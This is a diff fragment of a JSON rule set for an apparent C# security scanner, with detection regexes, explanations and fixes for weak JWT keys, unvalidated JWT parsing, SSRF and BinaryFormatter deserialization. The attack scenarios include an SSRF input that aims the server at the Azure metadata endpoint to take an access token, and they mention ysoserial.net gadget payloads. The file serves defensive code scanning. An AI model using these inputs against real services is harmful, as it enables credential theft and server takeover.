"pattern": "SecurityAlgorithms\\.None|new\\s+SymmetricSecurityKey\\s*\\(\\s*(?:new\\s+byte\\s*\\[\\s*\\]|Encoding\\.\\w+\\.GetBytes\\s*\\(\\s*[\"']{2}\\s*\\)|Encoding\\.\\w+\\.GetBytes\\s*\\(\\s*[\"'][^\"']{1,8}[\"']\\s*\\))",
|
|
345
|
+
"flags": "gi",
|
|
346
|
+
"file_types": [
|
|
347
|
+
"cs"
|
|
348
|
+
],
|
|
349
|
+
"why": "Using SecurityAlgorithms.None produces unsigned tokens. A SymmetricSecurityKey built from an empty string or very short key provides trivially breakable security — the key can be brute-forced in seconds.",
|
|
350
|
+
"scenario": "Key is created from an empty string: new SymmetricSecurityKey(Encoding.UTF8.GetBytes(\"\")). All tokens share the same effectively-null key. Attacker uses the same empty key to forge tokens for any user.",
|
|
351
|
+
"fix": "Use a cryptographically random key of at least 256 bits: var key = new byte[32]; RandomNumberGenerator.Fill(key); Store the key in Azure Key Vault or as an encrypted app setting. Never use empty, short, or hardcoded keys."
|
|
352
|
+
},
|
|
353
|
+
{
|
|
354
|
+
"id": "CS-JWT-003",
|
|
355
|
+
"name": "JWT claims read from token without validation (JwtSecurityToken direct parse)",
|
|
356
|
+
"severity": "HIGH",
|
|
357
|
+
"category": "Broken Authentication (OWASP A07)",
|
|
358
|
+
"pattern": "new\\s+JwtSecurityToken\\s*\\(\\s*\\w+\\s*\\)|JwtSecurityTokenHandler\\s*\\(\\s*\\)\\s*\\.\\s*ReadToken\\s*\\(",
|
|
359
|
+
"flags": "gi",
|
|
360
|
+
"antipattern": "ValidateToken|TokenValidationParameters",
|
|
361
|
+
"antipattern_flags": "i",
|
|
362
|
+
"lookahead": 400,
|
|
363
|
+
"file_types": [
|
|
364
|
+
"cs"
|
|
365
|
+
],
|
|
366
|
+
"why": "Constructing a JwtSecurityToken directly or using ReadToken() reads the token structure without verifying the signature or validating claims. The token payload is attacker-controlled data until it has been cryptographically verified.",
|
|
367
|
+
"scenario": "Code reads the user ID from token.Claims directly after ReadToken() without calling ValidateToken(). Attacker replaces the user ID in the token payload. Signature is never checked — any claim is trusted.",
|
|
368
|
+
"fix": "Use ValidateToken() exclusively: var principal = handler.ValidateToken(token, validationParameters, out SecurityToken validatedToken). Only access claims from the returned ClaimsPrincipal, not from the raw token object."
|
|
369
|
+
},
|
|
370
|
+
{
|
|
371
|
+
"id": "CS-SSRF-001",
|
|
372
|
+
"name": "SSRF — user-controlled URL passed to HttpClient or WebClient",
|
|
373
|
+
"severity": "HIGH",
|
|
374
|
+
"category": "Server-Side Request Forgery (OWASP A10)",
|
|
375
|
+
"pattern": "(?:httpClient|_httpClient|HttpClient|new\\s+WebClient\\s*\\(\\s*\\))\\s*(?:\\.\\s*(?:GetAsync|PostAsync|SendAsync|DownloadString|DownloadData|OpenRead)\\s*\\()\\s*(?:Request\\s*\\.|await\\s+)?[^;)]{0,120}(?:Request\\.|QueryString|RouteValues|Form\\[|Body)",
|
|
376
|
+
"flags": "gi",
|
|
377
|
+
"file_types": [
|
|
378
|
+
"cs"
|
|
379
|
+
],
|
|
380
|
+
"why": "Passing request-supplied URLs to HttpClient or WebClient enables SSRF. In Azure and AWS environments, the instance metadata endpoint (169.254.169.254) exposes credentials and configuration. Internal services like SQL Server, Redis, or admin dashboards may also be reachable.",
|
|
381
|
+
"scenario": "await httpClient.GetAsync(Request.Query[\"endpoint\"]) to call a partner API. Attacker sends ?endpoint=http://169.254.169.254/metadata/identity/oauth2/token. Azure IMDS returns an access token for the VM's managed identity.",
|
|
382
|
+
"fix": "Validate before requesting: var uri = new Uri(url); if (!AllowedHosts.Contains(uri.Host)) return Forbid(); Use HttpClient with a custom handler that rejects private IP ranges. In Azure, use Managed Identity for outbound calls — never proxy user-supplied URLs."
|
|
383
|
+
},
|
|
384
|
+
{
|
|
385
|
+
"id": "CS-DESER-001",
|
|
386
|
+
"name": "Unsafe deserialization — BinaryFormatter or LosFormatter with untrusted data",
|
|
387
|
+
"severity": "CRITICAL",
|
|
388
|
+
"category": "Injection (OWASP A08)",
|
|
389
|
+
"pattern": "new\\s+(?:BinaryFormatter|LosFormatter|ObjectStateFormatter|NetDataContractSerializer)\\s*\\(\\s*\\)|(?:BinaryFormatter|LosFormatter|NetDataContractSerializer)\\s+\\w+\\s*=\\s*new",
|
|
390
|
+
"flags": "gi",
|
|
391
|
+
"file_types": [
|
|
392
|
+
"cs"
|
|
393
|
+
],
|
|
394
|
+
"why": "BinaryFormatter and related formatters execute arbitrary code during deserialization via ISerializable callbacks and serialization surrogates. Microsoft has marked BinaryFormatter as permanently disabled in .NET 9 and dangerous in all previous versions.",
|
|
395
|
+
"scenario": "BinaryFormatter().Deserialize(Request.InputStream) to restore a view model from a cookie or POST body. Attacker crafts a ysoserial.net gadget chain payload. Deserializing it executes arbitrary commands on the server with the application pool identity.",
|
|
396
|
+
"fix": "Replace BinaryFormatter entirely. For new code use System.Text.Json or Newtonsoft.Json with a strict contract. For session/viewstate use DataContractSerializer with a known-types allowlist."
|
|
397
|
+
}
|
|
398
|
+
]
|
|
399
|
+
}
|